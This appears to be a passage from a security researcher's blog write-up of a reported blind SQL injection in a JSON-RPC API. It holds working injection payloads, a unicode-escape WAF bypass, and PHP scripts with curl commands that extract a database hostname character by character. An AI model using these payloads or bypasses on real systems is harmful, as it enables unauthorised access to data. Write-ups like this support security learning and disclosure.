Binary Questions
One of the fairly common ways to leverage a blind SQL Injection is to ask yes/no questions using an IF(expression, true, false) statement, and that was my very first thought. I knew already that if I provided an ID of 2 there would be some assets attached to the widgets, and if I provided an ID of 1there would be no assets. So — in theory at least — I could use a subquery as my payload and have it return 2 for true and 1 for false. If there’s assets in the response the answer would be ‘yes’, and if there aren’t any the answer would be ‘no’.
I decided I would test the theory by trying to figure out something simple: the hostname of the database server. The hostname on a MySQL server is stored in the hostname variable, and you can easily see it like this:
mysql> SELECT @@hostname;
+------------+
| @@hostname |
+------------+
| girru |
+------------+
1 row in set (0.00 sec)
These examples are being run on a machine of mine, named after the Babylonian god of fire. I always think it’s a good idea to test whatever you can locally instead of blindly (hah) trying to figure things out on the actual target, with no real feedback or error messages.
Because I can only ask yes/no questions, to figure out the hostname I need to see if the first character is an a, if it’s a b, or c, and so on until I find the right character; then I can move on to the second character. You can do that by using the SUBSTRING() function:
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1);
+---------------------------------------------+
| IF(SUBSTRING(@@hostname, 1, 1) = "a", 2, 1) |
+---------------------------------------------+
| 1 |
+---------------------------------------------+
1 row in set (0.00 sec)
Remember: a 1 in the result means ‘no’, and a 2 means ‘yes’. So, nope: not an a.
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1);
+---------------------------------------------+
| IF(SUBSTRING(@@hostname, 1, 1) = "b", 2, 1) |
+---------------------------------------------+
| 1 |
+---------------------------------------------+
1 row in set (0.00 sec)
Not a b either… Cue the wavy time-travel lines…
mysql> SELECT IF(SUBSTRING(@@hostname, 1, 1) = "g", 2, 1);
+----------------------------------------------+
| IF (SUBSTRING(@@hostname, 1, 1) = "g", 2, 1) |
+----------------------------------------------+
| 2 |
+----------------------------------------------+
1 row in set (0.00 sec)
Ah! It’s a g! Now we can move on to the next character.
With my test query running fine locally, I could try it as a payload on the JSON-RPC API. Fingers crossed!
tom@bash:~▶ cat payload.json
{
"jsonrpc": "2.0",
"method": "getWidgets",
"params": [
"SELECT IF(SUBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"
]
}
tom@bash:~▶ curl -s $APIURL -d @payload.json
<HTML><HEAD>
<TITLE>Access Denied</TITLE>
</HEAD><BODY>
<H1>Access Denied</H1>
You don't have permission to access "<redacted>" on this server.<P>
Reference <redacted>
</BODY>
</HTML>
Dammit, dammit, dammit. Those pesky WAFs are always getting in my way.
Thankfully, because the payload is JSON, I could easily obfuscate it to get around the WAF by using \uXXXX escape sequences. Crisis averted:
tom@bash:~▶ cat payload.json
{
"jsonrpc": "2.0",
"method": "getWidgets",
"params": [
"\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"a\", 2, 1)"
]
}
tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_id
// No WAF error here; but no assets either!
No WAF error, but no assets either; so if everything’s working as intended the hostname doesn’t begin with an a. Time to try the next letter! And the next one… And the next one…
I worked my way through the alphabet until:
tom@bash:~▶ cat payload.json
{
"jsonrpc": "2.0",
"method": "getWidgets",
"params": [
"\u0053ELECT \u0049F(\u0053UBSTRING(@@hostname, 1, 1) = \"r\", 2, 1)"
]
}
tom@bash:~▶ curl -s $APIURL -d @payload.json | gron | grep type_id
json.result.data.widget[5].assets[0].type_id = 2;
json.result.data.widget[5].assets[1].type_id = 2;
json.result.data.widget[5].assets[2].type_id = 2;
Results! The hostname starts with an r!
It was at this point I decided that rather than try and figure out the second character in the hostname, I’d write up my findings and report them. I figured I had a pretty good POC and that they’d surely reward me for being the hacking god that — in that moment — I knew myself to be.
Just in CASE
In my report I said something like “data exfiltration, whilst slow, could easily be scripted”. Which is true, but it would still be a real pain to actually get any useful data out of the thing, wouldn’t it? Asking all of those yes/no questions would surely show up on somebody’s monitoring dashboard somewhere if you actually tried to use it for anything other than the shortest of strings.
How can we make things a little faster? Maybe even a couple of orders of magnitude faster?! We need to go beyond binary questions, beyond trinary questions, and even beyond that!… OK, I made that sound a little more exciting that it really is: we can use a CASE statement.
A CASE statement lets you do something like this:
mysql> SELECT CASE SUBSTRING(@@hostname, 1, 1)
-> WHEN "a" THEN 1
-> WHEN "b" THEN 2
-> WHEN "c" THEN 3
-> WHEN "d" THEN 4
-> WHEN "e" THEN 5
-> WHEN "f" THEN 6
-> WHEN "g" THEN 7
-> ...
-> WHEN "z" THEN 26
-> END as result;
+--------+
| result |
+--------+
| 7 |
+--------+
1 row in set (0.00 sec)
So, because the result of this query is 7, I know the first character in @@hostname is g :)
The slight problem here is that I couldn’t just neatly use the numbers 1 to 26 for each letter, because not all possible IDs had corresponding assets. I needed to find enough valid IDs to make this work.
I wrote a little PHP script to save me from typing out the numbers from 1 to 100 and tried passing in 1,2,3...99,100 as the parameter. I used a little bit of command line trickery to find a list of all the unique valid IDs:
tom@bash:~▶ cat genrange.php
<?php
$payload = [
"jsonrpc" => "2.0",
"method" => "getWidgets",
"params" => [
implode(",", range(1, 100))
]
];
echo json_encode($payload);
tom@bash:~▶ curl --compressed -s $APIURL -d @<(php genrange.php) | gron | grep type_id | awk '{print $NF}' | sort -nu
2;
9;
10;
11;
...snip...
37;
38;
39;
40;
In total I found 31 valid IDs, which isn’t nearly enough to cover even the ASCII character set, but it’s enough to cover all the lower-case letters and even a few numbers for good measure. It’s also a lot better than only being able to answer yes/no questions.
I knocked together another hacky PHP script to make generating my payload a little easier:
tom@bash:~▶ cat gensql.php
<?php
// first argument to the script is the char to fetch
$char = $argv[1]?? 1;
// The payload
$sql = '
SELECT CASE SUBSTRING(@@hostname, '.$char.', 1)
WHEN "a" THEN 2
WHEN "b" THEN 8
WHEN "c" THEN 9
WHEN "d" THEN 10
...snip...
WHEN "z" THEN 35
WHEN "0" THEN 36
WHEN "1" THEN 37
WHEN "2" THEN 38
WHEN "3" THEN 39
WHEN "4" THEN 40
END
';
$wrapper = [
"jsonrpc" => "2.0",
"method" => "getWidgets",
"params" => [$sql]
];
$payload = json_encode($wrapper);
// Add some obfuscation to defeat the WAF :)
echo str_replace(
["C", "S", "T", "W"],
["\u0043", "\u0053", "\u0054", "\u0057"],
$payload
);
(I probably could have generated all the WHEN "x" THEN y parts of the query with a loop but all I can say to that is: ¯\_(ツ)_/¯)
With my script in hand I could try and figure out the rest of that pesky hostname; using awk '{print $NF}' to print the last field (i.e. the type_id), and uniq to remove the duplicates.
First character:
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 1) | gron | grep type_id | awk '{print $NF}' | uniq
27;
Consulting my lookup table, that’s an r! Good, I knew that, so it looks like it’s working. More characters:
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 2) | gron | grep type_id | awk '{print $NF}' | uniq
11;
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 3) | gron | grep type_id | awk '{print $NF}' | uniq
10;
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 4) | gron | grep type_id | awk '{print $NF}' | uniq
2;
11, 10, and 2; that’s e, d, and a. Hmm,reda? Let’s keep going…
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 5) | gron | grep type_id | awk '{print $NF}' | uniq
9;
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 6) | gron | grep type_id | awk '{print $NF}' | uniq
29;
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 7) | gron | grep type_id | awk '{print $NF}' | uniq
11;
tom@bash:~▶ curl -s $APIURL -d @<(php gensql.php 8) | gron | grep type_id | awk '{print $NF}' | uniq
10;
9, 29, 11, and 10… So that’s c, t, e, and d.
Oh hey: it’sredacted ;)
All joking (and redaction) aside, I actually was able to read the hostname at a rate of one character per request, or — and this is a bit of a guess — about 2 bits per second.
